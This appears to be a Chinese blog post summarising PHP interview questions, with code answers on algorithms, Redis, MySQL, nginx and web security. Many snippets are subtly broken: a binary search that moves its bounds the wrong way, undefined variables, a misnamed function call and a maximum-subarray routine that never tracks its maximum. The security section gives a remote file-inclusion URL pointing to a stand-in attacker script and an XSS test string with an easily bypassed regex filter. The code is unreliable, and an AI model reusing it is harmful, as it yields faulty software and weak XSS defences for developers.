以前看到一篇文章《八年phper的高級工程師面試之路》,而後最近我也在面試,面了有百度、360、滴滴、小米、微博、58趕集、搜狗、瓜子二手車等公司,最後也進了心儀的公司,面試過程當中學到了不少東西,因此也想和你們分享一下,雖然個人工做經驗才3年左右。
注:下面題目的答案只是我思考和查詢資料的結果,並不表明徹底準確,有錯誤的地方你們能夠指正,有更好的方案能夠提出,你們一塊兒討論。php
/** * 反轉數組 * @param array $arr * @return array */
function reverse($arr) {
$n = count($arr);
$left = 0;
$right = $n - 1;
while ($left < $right) {
$temp = $arr[$left];
$arr[$left++] = $arr[$right];
$arr[$right--] = $temp;
}
return $arr;
}
複製代碼
/** * 尋找兩個有序數組裏相同的元素 * @param array $arr1 * @param array $arr2 * @return array */
function find_common($arr1, $arr2) {
$common = array();
$i = $j = 0;
$count1 = count($arr1);
$count2 = count($arr2);
while ($i < $count1 && $j < $count2) {
if ($arr1[$i] < $arr2[$j]) {
$i++;
} elseif ($arr1[$i] > $arr2[$j]) {
$j++;
} else {
$common[] = $arr[$i];
$i++;
$j++;
}
}
return array_unique($common);
}
複製代碼
/** * 打亂數組 * @param array $arr * @return array */
function custom_shuffle($arr) {
$n = count($arr);
for ($i = 0; $i < $n; $i++) {
$rand_pos = mt_rand(0, $n-1);
if ($rand_pos != $i) {
$temp = $arr[$i];
$arr[$i] = $arr[$rand_pos];
$arr[$rand_pos] = $temp;
}
}
return $arr;
}
複製代碼
function number_alphabet($str) {
$number = preg_split('/[a-z]+/', $str, -1, PREG_SPLIT_NO_EMPTY);
$alphabet = preg_split('/\d+/', $str, -1, PREG_SPLIT_NO_EMPTY);
$n = count($number);
for ($i = 0; $i < $count; $i++) {
echo $number[$i] . ':' . $alphabet[$i] . '</br>';
}
}
$str = '1a3bb44a2ac';
number_alphabet($str);//1:a 3:bb 44:a 2:ac
複製代碼
思路: 1.(質數篩選定理)n不可以被不大於根號n的任何質數整除,則n是一個質數
2.除了2的偶數都不是質數
代碼以下:html
/** * 求n內的質數 * @param int $n * @return array */
function get_prime($n) {
$prime = array(2);//2爲質數
for ($i = 3; $i <= $n; $i += 2) {//偶數不是質數,步長能夠加大
$sqrt = intval(sqrt($i));//求根號n
for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇數,固然不能被偶數整除,步長也能夠加大。
if ($i % $j == 0) {
break;
}
}
if ($j > $sqrt) {
array_push($prime, $i);
}
}
return $prime;
}
print_r(getPrime(1000));
複製代碼
相關題目:一羣猴子排成一圈,按1,2,…,n依次編號。而後從第1只開始數,數到第m只,把它踢出圈,從它後面再開始數, 再數到第m只,在把它踢出去…,如此不停的進行下去, 直到最後只剩下一隻猴子爲止,那隻猴子就叫作大王。要求編程模擬此過程,輸入m、n, 輸出最後那個大王的編號。mysql
/** * 獲取大王 * @param int $n * @param int $m * @return int */
function get_king_mokey($n, $m) {
$arr = range(1, $n);
$i = 0;
while (count($arr) > 1) {
$i++;
$survice = array_shift($arr);
if ($i % $m != 0) {
array_push($arr, $survice);
}
}
return $arr[0];
}
複製代碼
思路:假設最前面的1000個數爲最小的,算出這1000個數中最大的數,而後和第1001個數比較,若是這最大的數比這第1001個數小的話跳過,若是要比這第1001個數大則將兩個數交換位置,並算出新的1000個數裏面的最大數,再和下一個數比較,以此類推。
代碼以下:ios
//尋找最小的k個數
//題目描述
//輸入n個整數,輸出其中最小的k個。
/** * 獲取最小的k個數 * @param array $arr * @param int $k [description] * @return array */
function get_min_array($arr, $k) {
$n = count($arr);
$min_array = array();
for ($i = 0; $i < $n; $i++) {
if ($i < $k) {
$min_array[$i] = $arr[$i];
} else {
if ($i == $k) {
$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}
if ($arr[$i] < $max) {
$min_array[$max_pos] = $arr[$i];
$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}
}
}
return $min_array;
}
/** * 獲取最大的位置 * @param array $arr * @return array */
function get_max_pos($arr) {
$pos = 0;
for ($i = 1; $i < count($arr); $i++) {
if ($arr[$i] > $arr[$pos]) {
$pos = $i;
}
}
return $pos;
}
$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];
$min_array = get_min_array($array, 10);
print_r($min_array);
複製代碼
代碼以下:nginx
/** * 二分查找 * @param array $array 數組 * @param int $n 數組數量 * @param int $value 要尋找的值 * @return int */
function binary_search($array, $n, $value) {
$left = 0;
$right = $n - 1;
while ($left <= $right) {
$mid = intval(($left + $right) / 2);
if ($value > $array[$mid]) {
$right = $mid + 1;
} elseif ($value < $array[$mid]) {
$left = $mid - 1;
} else {
return $mid;
}
}
return -1;
}
複製代碼
思路:二分查找git
/** * 獲取絕對值最小的元素 * @param array $arr * @return int */
function get_min_abs_value($arr) {
//若是符號相同,直接返回
if (is_same_sign($arr[0], $arr[$n - 1])) {
return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1];
}
//二分查找
$n = count($arr);
$left = 0;
$right = $n - 1;
while ($left <= $right) {
if ($left + 1 === $right) {
return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
}
$mid = intval(($left + $right) / 2);
if ($arr[$mid] < 0) {
$left = $mid + 1;
} else {
$right = $mid - 1;
}
}
}
/** * 判斷符號是否相同 * @param int $a * @param int $b * @return boolean */
function is_same_sign($a, $b) {
if ($a * $b > 0) {
return true;
} else {
return false;
}
}
複製代碼
思路:動態規劃github
function three_sum($arr) {
$n = count($arr);
$return = array();
for ($i=0; $i < $n; $i++) {
$left = $i + 1;
$right = $n - 1;
while ($left <= $right) {
$sum = $arr[$i] + $arr[$left] + $arr[$right];
if ($sum < 0) {
$left++;
} elseif ($sum > 0) {
$right--;
} else {
$numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right];
if (!in_array($numbers, $return)) {
$return[] = $numbers;
}
$left++;
$right--;
}
}
}
return $return;
}
$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));
複製代碼
思路:動態規劃面試
/** * 獲取最大的連續和 * @param array $arr * @return int */
function max_sum_array($arr) {
$currSum = 0;
$maxSum = 0;//數組元素全爲負的狀況,返回最大數
$n = count($arr);
for ($i = 0; $i < $n; $i++) {
if ($currSum >= 0) {
$currSum += $arr[$i];
} else {
$currSum = $arr[$i];
}
}
if ($currSum > $maxSum) {
$maxSum = $currSum;
}
return $maxSum;
}
複製代碼
在Tcp鏈接中,服務端的SYN和ACK向客戶端發送是一次性發送的,而在斷開鏈接的過程當中,B端向A端發送的ACK和FIN是分兩次發送的。由於在B端接收到A端的FIN後,B端可能還有數據要傳輸,因此先發送ACK,等B端處理完本身的事情後就能夠發送FIN斷開鏈接了。正則表達式
chmod u=r 文件名redis
awk '{print $1}' /var/log/access.log | sort | uniq | wc -l
複製代碼
推薦篇文章,講awk實際使用的shell在手分析服務器日誌不愁
監聽方式 | 形式 | nginx連接fastcgi方式 |
---|---|---|
端口監聽 | fastcgi_pass 127.0.0.1:9000 | TCP連接 |
文件監聽 | fastcgi_pass /tmp/php_cgi.sock | Unix domain Socket |
不管是初次鏈接仍是從新鏈接,當創建一個從服務器時,從服務器都將從主服務器發送一個SYNC命令。接到SYNC命令的主服務器將開始執行BGSAVE,並在保存操做執行期間,將全部新執行的命令都保存到一個緩衝區裏面,當BGSAVE執行完畢後,主服務器將執行保存操做所獲得的.rdb文件發送給從服務器,從服務器接收這個.rdb文件,並將文件中的數據載入到內存中。以後主服務器會以Redis命令協議的格式,將寫命令緩衝區中積累的全部內容都發送給從服務器。
緩存命中率 = get_hits/cmd_get * 100%
一致性Hash
MyISAM快,由於MyISAM自己就記錄了數量,而InnoDB要掃描數據
有一個複合索引:INDEX(`a`, `b`, `c`)
使用方式 | 可否用上索引 |
---|---|
select * from users where a = 1 and b = 2 | 能用上a、b |
select * from users where b = 2 and a = 1 | 能用上a、b(有MySQL查詢優化器) |
select * from users where a = 2 and c = 1 | 能用上a |
select * from users where b = 2 and c = 1 | 不能 |
聚簇索引的葉節點就是數據節點,而非聚簇索引的頁節點仍然是索引檢點,並保留一個連接指向對應數據塊。
靜態方法是類中的一個成員方法,屬於整個類,即便不用建立任何對象也能夠直接調用!靜態方法效率上要比實例化高,靜態方法的缺點是不自動銷燬,而實例化的則能夠作銷燬。
ArrayAccess(數組式訪問)接口
function tail($file, $num) {
$fp = fopen($file,"r");
$pos = -2;
$eof = "";
$head = false; //當總行數小於Num時,判斷是否到第一行了
$lines = array();
while ($num > 0) {
while($eof != PHP_EOL){
if (fseek($fp, $pos, SEEK_END) == 0) { //fseek成功返回0,失敗返回-1
$eof = fgetc($fp);
$pos--;
} else { //當到達第一行,行首時,設置$pos失敗
fseek($fp, 0, SEEK_SET);
$head = true; //到達文件頭部,開關打開
break;
}
}
array_unshift($lines, str_replace(PHP_EOL, '', fgets($fp)));
if ($head) {//這一句,只能放上一句後,由於到文件頭後,把第一行讀取出來再跳出整個循環
break;
}
$eof = "";
$num--;
}
fclose($fp);
return $lines;
}
複製代碼
相同點: 當知足如下三個條件時,二者會輸出相同信息。
不一樣點:
<virtualhost *>
ServerName jsyzchen.com
ServerAlias blog.jsyzchen.com
</virtualhost>
複製代碼
客戶端訪問域名 blog.jsyzchen.com
_SERVER["SERVER_NAME"] 輸出
jsyzchen.com
當safe_mode=On時,會出現下面限制:
函數名 | 限制 |
---|---|
dbmopen() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
dbase_open() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
filepro() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
filepro_rowcount() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
filepro_retrieve() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
ifx_* sql_safe_mode | 限制, (!= safe mode) |
ingres_* sql_safe_mode | 限制, (!= safe mode) |
mysql_* sql_safe_mode | 限制, (!= safe mode) |
pg_loimport() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
posix_mkfifo() | 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
putenv() | 遵循 ini 設置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 選項。請參考 putenv() 函數的有關文檔。 |
move_uploaded_file() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
chdir() | 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
dl() | 本函數在安全模式下被禁用。 |
backtick operator | 本函數在安全模式下被禁用。 |
shell_exec() | (在功能上和 backticks 函數相同) 本函數在安全模式下被禁用。 |
exec() | 只能在 safe_mode_exec_dir 設置的目錄下進行執行操做。基於某些緣由,目前不能在可執行對象的路徑中使用 ..。escapeshellcmd() 將被做用於此函數的參數上。 |
system() | 只能在 safe_mode_exec_dir 設置的目錄下進行執行操做。基於某些緣由,目前不能在可執行對象的路徑中使用 ..。escapeshellcmd() 將被做用於此函數的參數上。 |
passthru() | 只能在 safe_mode_exec_dir 設置的目錄下進行執行操做。基於某些緣由,目前不能在可執行對象的路徑中使用 ..。escapeshellcmd() 將被做用於此函數的參數上。 |
popen() | 只能在 safe_mode_exec_dir 設置的目錄下進行執行操做。基於某些緣由,目前不能在可執行對象的路徑中使用 ..。escapeshellcmd() 將被做用於此函數的參數上。 |
fopen() | 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
mkdir() | 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
rmdir() | 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
rename() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
unlink() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
copy() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 (on source and target ) |
chgrp() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
chown() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
chmod() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 另外,不能設置 SUID、SGID 和 sticky bits |
touch() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 |
symlink() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 (注意:僅測試 target) |
link() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 (注意:僅測試 target) |
apache_request_headers() | 在安全模式下,以「authorization」(區分大小寫)開頭的標頭將不會被返回。 |
header() | 在安全模式下,若是設置了 WWW-Authenticate,當前腳本的 uid 將被添加到該標頭的 realm 部分。 |
PHP_AUTH 變量 | 在安全模式下,變量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但不管如何,您仍然可使用 REMOTE_USER 來獲取用戶名稱(USER)。(注意:僅 PHP 4.3.0 之後有效) |
highlight_file(), show_source() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 (注意,僅在 4.2.1 版本後有效) |
parse_ini_file() | 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 (注意,僅在 4.2.1 版本後有效) |
set_time_limit() | 在安全模式下不起做用。 |
max_execution_time | 在安全模式下不起做用。 |
mail() | 在安全模式下,第五個參數被屏蔽。 |
function write($str) {
$fp = fopen($file, 'a');
do {
usleep(100);
} while (!flock($fp, LOCK_EX));
fwrite($fp, $str . PHP_EOL);
flock($fp, LOCK_UN);
fclose($fp);
}
複製代碼
如今任一個黑客如今均可以用:http://www.yourdomain.com/index.php?p=anyfile.txt
來獲取你的機密信息,或執行一個PHP腳本。 若是allow_url_fopen=On,你更是死定了: 試試這個輸入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php
如今你的網頁中包含了http://www.youaredoomed.com/phphack.php
的輸出. 黑客能夠發送垃圾郵件,改變密碼,刪除文件等等。只要你能想獲得。
SQL注入:
jwt或驗證簽名
function check_ip($ip) {
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
return false;
} else {
return true;
}
}
複製代碼
function check_datetime($datetime) {
if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {
return true;
} else {
return false;
}
}
複製代碼
$text = '<script>alert('XSS')</script>';
$pattern = '<script.*>.*<\/script>/i';
$text = preg_replace($pattern, '', $text);
複製代碼
第一種方案:被動過時+cron,就是用戶查看的時候去數據庫查有沒有支付+定時清理。 第二種方案:延遲性任務,到時間檢查訂單是否支付成功,若是沒有支付則取消訂單
思路:用redis的隊列
$ttl = 4;
$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);
$lock = fasle;
while (!$lock) {
$lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));
}
if ($redis->get('goods.num') <= 0) {
echo ("秒殺已經結束");
//刪除鎖
if ($redis->get('lock') == $random) {
$redis->del('lock');
}
return false;
}
$redis->decr('goods.num');
echo ("秒殺成功");
//刪除鎖
if ($redis->get('lock') == $random) {
$redis->del('lock');
}
return true;
複製代碼
//ip2long,把全部城市的最小和最大Ip錄進去
$redis_key = 'ip';
$redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#
$resid->zAdd($redis_key, 30, 'bj');//最大IP
function get_ip_city($ip_address) {
$ip = ip2long($ip_address);
$redis_key = 'ip';
$city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1)));
if ($city) {
if (strpos($city[0], "#") === 0) {
echo '城市不存在!';
} else {
echo '城市是' . $city[0];
}
} else {
echo '城市不存在!';
}
}
複製代碼
使用satis搭建
相關文章介紹:使用satis搭建Composer私有庫
原文連接:3年PHPer的面試總結